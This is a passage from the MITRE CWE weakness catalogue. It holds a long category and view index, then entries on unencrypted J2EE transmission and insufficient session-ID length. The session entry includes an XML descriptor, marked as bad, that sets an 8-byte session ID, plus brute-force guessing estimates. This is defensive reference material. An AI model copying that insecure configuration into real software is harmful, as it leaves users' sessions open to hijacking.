Category-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage.....	2152
Category-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access.....	2152

Category-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection.....	2153
Category-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards.....	2153
Category-840: Business Logic Errors.....	2153
Category-845: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS).....	2155
Category-846: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL).....	2156
Category-847: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP).....	2156
Category-848: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM).....	2157
Category-849: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ).....	2157
Category-850: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET).....	2158
Category-851: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR).....	2158
Category-852: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA).....	2159
Category-853: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK).....	2159
Category-854: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI).....	2160
Category-855: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS).....	2160
Category-856: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM).....	2161
Category-857: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO).....	2161
Category-858: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER).....	2162
Category-859: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC).....	2162
Category-860: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV).....	2163
Category-861: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC).....	2163
Category-864: 2011 Top 25 - Insecure Interaction Between Components.....	2164
Category-865: 2011 Top 25 - Risky Resource Management.....	2165
Category-866: 2011 Top 25 - Porous Defenses.....	2165
Category-867: 2011 Top 25 - Weaknesses On the Cusp.....	2166
Category-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE).....	2166
Category-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL).....	2167
Category-871: CERT C++ Secure Coding Section 03 - Expressions (EXP).....	2167
Category-872: CERT C++ Secure Coding Section 04 - Integers (INT).....	2168
Category-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP).....	2168
Category-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR).....	2169
Category-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR).....	2169
Category-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM).....	2170
Category-877: CERT C++ Secure Coding Section 09 - Input Output (FIO).....	2171
Category-878: CERT C++ Secure Coding Section 10 - Environment (ENV).....	2172
Category-879: CERT C++ Secure Coding Section 11 - Signals (SIG).....	2172
Category-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR).....	2173
Category-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP).....	2173
Category-882: CERT C++ Secure Coding Section 14 - Concurrency (CON).....	2174
Category-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC).....	2174
Category-885: SFP Primary Cluster: Risky Values.....	2175
Category-886: SFP Primary Cluster: Unused entities.....	2175
Category-887: SFP Primary Cluster: API.....	2175
Category-889: SFP Primary Cluster: Exception Management.....	2176
Category-890: SFP Primary Cluster: Memory Access.....	2176
Category-891: SFP Primary Cluster: Memory Management.....	2176
Category-892: SFP Primary Cluster: Resource Management.....	2177
Category-893: SFP Primary Cluster: Path Resolution.....	2177



Category-894: SFP Primary Cluster: Synchronization.....	2177
Category-895: SFP Primary Cluster: Information Leak.....	2178
Category-896: SFP Primary Cluster: Tainted Input.....	2178
Category-897: SFP Primary Cluster: Entry Points.....	2178
Category-898: SFP Primary Cluster: Authentication.....	2179
Category-899: SFP Primary Cluster: Access Control.....	2179
Category-901: SFP Primary Cluster: Privilege.....	2179
Category-902: SFP Primary Cluster: Channel.....	2180
Category-903: SFP Primary Cluster: Cryptography.....	2180
Category-904: SFP Primary Cluster: Malware.....	2180
Category-905: SFP Primary Cluster: Predictability.....	2181
Category-906: SFP Primary Cluster: UI.....	2181
Category-907: SFP Primary Cluster: Other.....	2182
Category-929: OWASP Top Ten 2013 Category A1 - Injection.....	2182
Category-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management.....	2183
Category-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS).....	2183
Category-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References.....	2184
Category-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration.....	2184
Category-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure.....	2184
Category-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control.....	2185
Category-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF).....	2185
Category-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities.....	2186
Category-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards.....	2186
Category-944: SFP Secondary Cluster: Access Management.....	2186
Category-945: SFP Secondary Cluster: Insecure Resource Access.....	2187
Category-946: SFP Secondary Cluster: Insecure Resource Permissions.....	2187
Category-947: SFP Secondary Cluster: Authentication Bypass.....	2187
Category-948: SFP Secondary Cluster: Digital Certificate.....	2188
Category-949: SFP Secondary Cluster: Faulty Endpoint Authentication.....	2188
Category-950: SFP Secondary Cluster: Hardcoded Sensitive Data.....	2189
Category-951: SFP Secondary Cluster: Insecure Authentication Policy.....	2189
Category-952: SFP Secondary Cluster: Missing Authentication.....	2189
Category-953: SFP Secondary Cluster: Missing Endpoint Authentication.....	2190
Category-954: SFP Secondary Cluster: Multiple Binds to the Same Port.....	2190
Category-955: SFP Secondary Cluster: Unrestricted Authentication.....	2190
Category-956: SFP Secondary Cluster: Channel Attack.....	2191
Category-957: SFP Secondary Cluster: Protocol Error.....	2191
Category-958: SFP Secondary Cluster: Broken Cryptography.....	2191
Category-959: SFP Secondary Cluster: Weak Cryptography.....	2192
Category-960: SFP Secondary Cluster: Ambiguous Exception Type.....	2192
Category-961: SFP Secondary Cluster: Incorrect Exception Behavior.....	2192
Category-962: SFP Secondary Cluster: Unchecked Status Condition.....	2193
Category-963: SFP Secondary Cluster: Exposed Data.....	2193
Category-964: SFP Secondary Cluster: Exposure Temporary File.....	2196
Category-965: SFP Secondary Cluster: Insecure Session Management.....	2196
Category-966: SFP Secondary Cluster: Other Exposures.....	2196
Category-967: SFP Secondary Cluster: State Disclosure.....	2197
Category-968: SFP Secondary Cluster: Covert Channel.....	2197
Category-969: SFP Secondary Cluster: Faulty Memory Release.....	2197
Category-970: SFP Secondary Cluster: Faulty Buffer Access.....	2198
Category-971: SFP Secondary Cluster: Faulty Pointer Use.....	2198
Category-972: SFP Secondary Cluster: Faulty String Expansion.....	2199
Category-973: SFP Secondary Cluster: Improper NULL Termination.....	2199
Category-974: SFP Secondary Cluster: Incorrect Buffer Length Computation.....	2199
Category-975: SFP Secondary Cluster: Architecture.....	2199
Category-976: SFP Secondary Cluster: Compiler.....	2200
Category-977: SFP Secondary Cluster: Design.....	2200
Category-978: SFP Secondary Cluster: Implementation.....	2201
Category-979: SFP Secondary Cluster: Failed Chroot Jail.....	2201
Category-980: SFP Secondary Cluster: Link in Resource Name Resolution.....	2202
Category-981: SFP Secondary Cluster: Path Traversal.....	2202

Category-982: SFP Secondary Cluster: Failure to Release Resource.....	2203
Category-983: SFP Secondary Cluster: Faulty Resource Use.....	2204
Category-984: SFP Secondary Cluster: Life Cycle.....	2204
Category-985: SFP Secondary Cluster: Unrestricted Consumption.....	2204
Category-986: SFP Secondary Cluster: Missing Lock.....	2205
Category-987: SFP Secondary Cluster: Multiple Locks/Unlocks.....	2205
Category-988: SFP Secondary Cluster: Race Condition Window.....	2206
Category-989: SFP Secondary Cluster: Unrestricted Lock.....	2206
Category-990: SFP Secondary Cluster: Tainted Input to Command.....	2206
Category-991: SFP Secondary Cluster: Tainted Input to Environment.....	2209
Category-992: SFP Secondary Cluster: Faulty Input Transformation.....	2209
Category-993: SFP Secondary Cluster: Incorrect Input Handling.....	2210
Category-994: SFP Secondary Cluster: Tainted Input to Variable.....	2210
Category-995: SFP Secondary Cluster: Feature.....	2211
Category-996: SFP Secondary Cluster: Security.....	2211
Category-997: SFP Secondary Cluster: Information Loss.....	2212
Category-998: SFP Secondary Cluster: Glitch in Computation.....	2212
Category-1001: SFP Secondary Cluster: Use of an Improper API.....	2213
Category-1002: SFP Secondary Cluster: Unexpected Entry Points.....	2214
Category-1005: 7PK - Input Validation and Representation.....	2214
Category-1006: Bad Coding Practices.....	2215
Category-1009: Audit.....	2217
Category-1010: Authenticate Actors.....	2217
Category-1011: Authorize Actors.....	2218
Category-1012: Cross Cutting.....	2220
Category-1013: Encrypt Data.....	2221
Category-1014: Identify Actors.....	2222
Category-1015: Limit Access.....	2223
Category-1016: Limit Exposure.....	2224
Category-1017: Lock Computer.....	2225
Category-1018: Manage User Sessions.....	2225
Category-1019: Validate Inputs.....	2226
Category-1020: Verify Message Integrity.....	2227
Category-1027: OWASP Top Ten 2017 Category A1 - Injection.....	2228
Category-1028: OWASP Top Ten 2017 Category A2 - Broken Authentication.....	2229
Category-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure.....	2229
Category-1030: OWASP Top Ten 2017 Category A4 - XML External Entities (XXE).....	2230
Category-1031: OWASP Top Ten 2017 Category A5 - Broken Access Control.....	2230
Category-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration.....	2231
Category-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS).....	2231
Category-1034: OWASP Top Ten 2017 Category A8 - Insecure Deserialization.....	2232
Category-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities.....	2232
Category-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring.....	2232
Category-1129: CISQ Quality Measures (2016) - Reliability.....	2233
Category-1130: CISQ Quality Measures (2016) - Maintainability.....	2234
Category-1131: CISQ Quality Measures (2016) - Security.....	2235
Category-1132: CISQ Quality Measures (2016) - Performance Efficiency.....	2236
Category-1134: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS).....	2237
Category-1135: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL).....	2237
Category-1136: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP).....	2238
Category-1137: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM).....	2238
Category-1138: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR).....	2239
Category-1139: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ).....	2239
Category-1140: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET).....	2240
Category-1141: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR).....	2241

Category-1142: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA).....	2241
Category-1143: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK).....	2242
Category-1144: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI).....	2242
Category-1145: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)..	2243
Category-1146: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM).....	2243
Category-1147: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO).....	2244
Category-1148: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER).....	2244
Category-1149: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC).....	2245
Category-1150: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV).....	2245
Category-1151: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI).....	2246
Category-1152: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC).....	2246
Category-1153: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD).....	2247
Category-1155: SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE).....	2247
Category-1156: SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL).....	2248
Category-1157: SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP).....	2248
Category-1158: SEI CERT C Coding Standard - Guidelines 04. Integers (INT).....	2249
Category-1159: SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP).....	2250
Category-1160: SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR).....	2250
Category-1161: SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR).....	2251
Category-1162: SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM).....	2251
Category-1163: SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO).....	2252
Category-1165: SEI CERT C Coding Standard - Guidelines 10. Environment (ENV).....	2253
Category-1166: SEI CERT C Coding Standard - Guidelines 11. Signals (SIG).....	2254
Category-1167: SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR).....	2254
Category-1168: SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API)..	2255
Category-1169: SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON).....	2255
Category-1170: SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC).....	2256
Category-1171: SEI CERT C Coding Standard - Guidelines 50. POSIX (POS).....	2256
Category-1172: SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN) .....	2257
Category-1175: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON)..	2257
Category-1179: SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS).....	2258
Category-1180: SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL).....	2258
Category-1181: SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP).....	2259
Category-1182: SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT).....	2260
Category-1183: SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR).....	2260
Category-1184: SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)....	2260
Category-1185: SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO).....	2261
Category-1186: SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC).....	2261
Category-1195: Manufacturing and Life Cycle Management Concerns.....	2262
Category-1196: Security Flow Issues.....	2262
Category-1197: Integration Issues.....	2263
Category-1198: Privilege Separation and Access Control Issues.....	2263
Category-1199: General Circuit and Logic Design Concerns.....	2264
Category-1201: Core and Compute Issues.....	2265
Category-1202: Memory and Storage Issues.....	2265
Category-1203: Peripherals, On-chip Fabric, and Interface/IO Problems.....	2265
Category-1205: Security Primitives and Cryptography Issues.....	2266
Category-1206: Power, Clock, Thermal, and Reset Concerns.....	2266
Category-1207: Debug and Test Problems.....	2267
Category-1208: Cross-Cutting Problems.....	2268
Category-1210: Audit / Logging Errors.....	2268
Category-1211: Authentication Errors.....	2268
Category-1212: Authorization Errors.....	2269
Category-1213: Random Number Issues.....	2270

Category-1214: Data Integrity Issues.....	2270
Category-1215: Data Validation Issues.....	2271
Category-1216: Lockout Mechanism Errors.....	2271
Category-1217: User Session Errors.....	2272
Category-1218: Memory Buffer Errors.....	2272
Category-1219: File Handling Issues.....	2273
Category-1225: Documentation Issues.....	2273
Category-1226: Complexity Issues.....	2273
Category-1227: Encapsulation Issues.....	2274
Category-1228: API / Function Errors.....	2275
Category-1237: SFP Primary Cluster: Faulty Resource Release.....	2275
Category-1238: SFP Primary Cluster: Failure to Release Memory.....	2275
Category-1306: CISQ Quality Measures - Reliability.....	2276
Category-1307: CISQ Quality Measures - Maintainability.....	2277
Category-1308: CISQ Quality Measures - Security.....	2278
Category-1309: CISQ Quality Measures - Efficiency.....	2279
Category-1345: OWASP Top Ten 2021 Category A01:2021 - Broken Access Control.....	2280
Category-1346: OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures.....	2281
Category-1347: OWASP Top Ten 2021 Category A03:2021 - Injection.....	2282
Category-1348: OWASP Top Ten 2021 Category A04:2021 - Insecure Design.....	2284
Category-1349: OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration.....	2286
Category-1352: OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components.....	2287
Category-1353: OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures.....	2287
Category-1354: OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures.....	2288
Category-1355: OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures.....	2289
Category-1356: OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF).....	2290
Category-1359: ICS Communications.....	2290
Category-1360: ICS Dependencies (& Architecture).....	2291
Category-1361: ICS Supply Chain.....	2291
Category-1362: ICS Engineering (Constructions/Deployment).....	2292
Category-1363: ICS Operations (& Maintenance).....	2293
Category-1364: ICS Communications: Zone Boundary Failures.....	2294
Category-1365: ICS Communications: Unreliability.....	2294
Category-1366: ICS Communications: Frail Security in Protocols.....	2295
Category-1367: ICS Dependencies (& Architecture): External Physical Systems.....	2296
Category-1368: ICS Dependencies (& Architecture): External Digital Systems.....	2297
Category-1369: ICS Supply Chain: IT/OT Convergence/Expansion.....	2298
Category-1370: ICS Supply Chain: Common Mode Frailties.....	2298
Category-1371: ICS Supply Chain: Poorly Documented or Undocumented Features.....	2299
Category-1372: ICS Supply Chain: OT Counterfeit and Malicious Corruption.....	2300
Category-1373: ICS Engineering (Construction/Deployment): Trust Model Problems.....	2301
Category-1374: ICS Engineering (Construction/Deployment): Maker Breaker Blindness.....	2301
Category-1375: ICS Engineering (Construction/Deployment): Gaps in Details/Data.....	2302
Category-1376: ICS Engineering (Construction/Deployment): Security Gaps in Commissioning.....	2303
Category-1377: ICS Engineering (Construction/Deployment): Inherent Predictability in Design.....	2304
Category-1378: ICS Operations (& Maintenance): Gaps in obligations and training.....	2304
Category-1379: ICS Operations (& Maintenance): Human factors in ICS environments.....	2305
Category-1380: ICS Operations (& Maintenance): Post-analysis changes.....	2306
Category-1381: ICS Operations (& Maintenance): Exploitable Standard Operational Procedures.....	2307
Category-1382: ICS Operations (& Maintenance): Emerging Energy Technologies.....	2308
Category-1383: ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements.....	2308
Category-1388: Physical Access Issues and Concerns.....	2309

## CWE Views

View-604: Deprecated Entries.....	2310
View-629: Weaknesses in OWASP Top Ten (2007).....	2310
View-635: Weaknesses Originally Used by NVD from 2008 to 2016.....	2311
View-658: Weaknesses in Software Written in C.....	2313
View-659: Weaknesses in Software Written in C++.....	2313
View-660: Weaknesses in Software Written in Java.....	2313



View-661: Weaknesses in Software Written in PHP.....	2314
View-677: Weakness Base Elements.....	2314
View-678: Composites.....	2315
View-699: Software Development.....	2315
View-700: Seven Pernicious Kingdoms.....	2317
View-701: Weaknesses Introduced During Design.....	2318
View-702: Weaknesses Introduced During Implementation.....	2318
View-709: Named Chains.....	2318
View-711: Weaknesses in OWASP Top Ten (2004).....	2319
View-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008).....	2320
View-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors.....	2322
View-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.....	2322
View-809: Weaknesses in OWASP Top Ten (2010).....	2323
View-844: Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011).....	2324
View-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version).....	2326
View-884: CWE Cross-section.....	2327
View-888: Software Fault Pattern (SFP) Clusters.....	2331
View-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.....	2332
View-919: Weaknesses in Mobile Applications.....	2333
View-928: Weaknesses in OWASP Top Ten (2013).....	2333
View-1000: Research Concepts.....	2335
View-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities.....	2336
View-1008: Architectural Concepts.....	2337
View-1026: Weaknesses in OWASP Top Ten (2017).....	2338
View-1040: Quality Weaknesses with Indirect Security Impacts.....	2339
View-1081: Entries with Maintenance Notes.....	2340
View-1128: CISQ Quality Measures (2016).....	2341
View-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java.....	2341
View-1154: Weaknesses Addressed by the SEI CERT C Coding Standard.....	2343
View-1178: Weaknesses Addressed by the SEI CERT Perl Coding Standard.....	2345
View-1194: Hardware Design.....	2346
View-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors.....	2347
View-1305: CISQ Quality Measures (2020).....	2348
View-1337: Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses.....	2349
View-1340: CISQ Data Protection Measures.....	2350
View-1343: Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List.....	2352
View-1344: Weaknesses in OWASP Top Ten (2021).....	2353
View-1350: Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses.....	2354
View-1358: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS.....	2356
View-1387: Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses.....	2357
View-2000: Comprehensive CWE Dictionary.....	2358









## Appendix A: Graph Views

Glossary.....	2480
---------------	------

Index.....	2481
------------	------

## Symbols

---

Symbol	Meaning
	View
	Category
	Weakness - Class
	Weakness - Base
	Weakness - Variant
	Compound Element - Composite
	Compound Element - Named Chain
	Deprecated



## Weaknesses

### CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

**Weakness ID** : 5

**Structure** : Simple

**Abstraction** : Variant

#### Description

Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.

#### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		319	Cleartext Transmission of Sensitive Information	740

#### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

#### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

#### Potential Mitigations

##### Phase: System Configuration

The product configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		2	7PK - Environment	700	2099
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

#### Notes

##### Other

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed: A user manually enters URL and types "HTTP" rather than "HTTPS". Attackers intentionally send a user to an insecure URL. A programmer erroneously creates a relative link to a page in the application, which does not



switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Insecure Transport

**References**

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

**CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length**

**Weakness ID :** 6  
**Structure :** Simple  
**Abstraction :** Variant

**Description**

The J2EE application is configured to use an insufficient session ID length.

**Extended Description**

If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		334	Small Space of Random Values	784

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1018	Manage User Sessions	2225

**Applicable Platforms**

**Language :** Java (Prevalence = Undetermined)

**Background Details**

Session ID's can be used to identify communicating parties in a web environment.

The expected number of seconds required to guess a valid session identifier is given by the equation:  $(2^{B+1}) / (2 \cdot A \cdot S)$  Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero

bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
	<i>If an attacker can guess an authenticated user's session identifier, they can take over the user's session.</i>	

### Potential Mitigations

#### Phase: Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

#### Phase: Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

### Demonstrative Examples

#### Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML

(Bad)

```
<sun-web-app>
...
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation

for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	2	7PK - Environment	700	2099
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	2196

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Insufficient Session-ID Length

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
59	Session Credential Falsification through Prediction

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-482]Zvi Gutterman. "Hold Your Sessions: An Attack on Java Session-id Generation". 2005 February 3. < <http://www.securiteam.com/securityreviews/5TP0F0UEVQ.html> >.

## CWE-7: J2EE Misconfiguration: Missing Custom Error Page

**Weakness ID :** 7

**Structure :** Simple

**Abstraction :** Variant

### Description

The default error page of a web application should not display sensitive information about the product.

### Extended Description

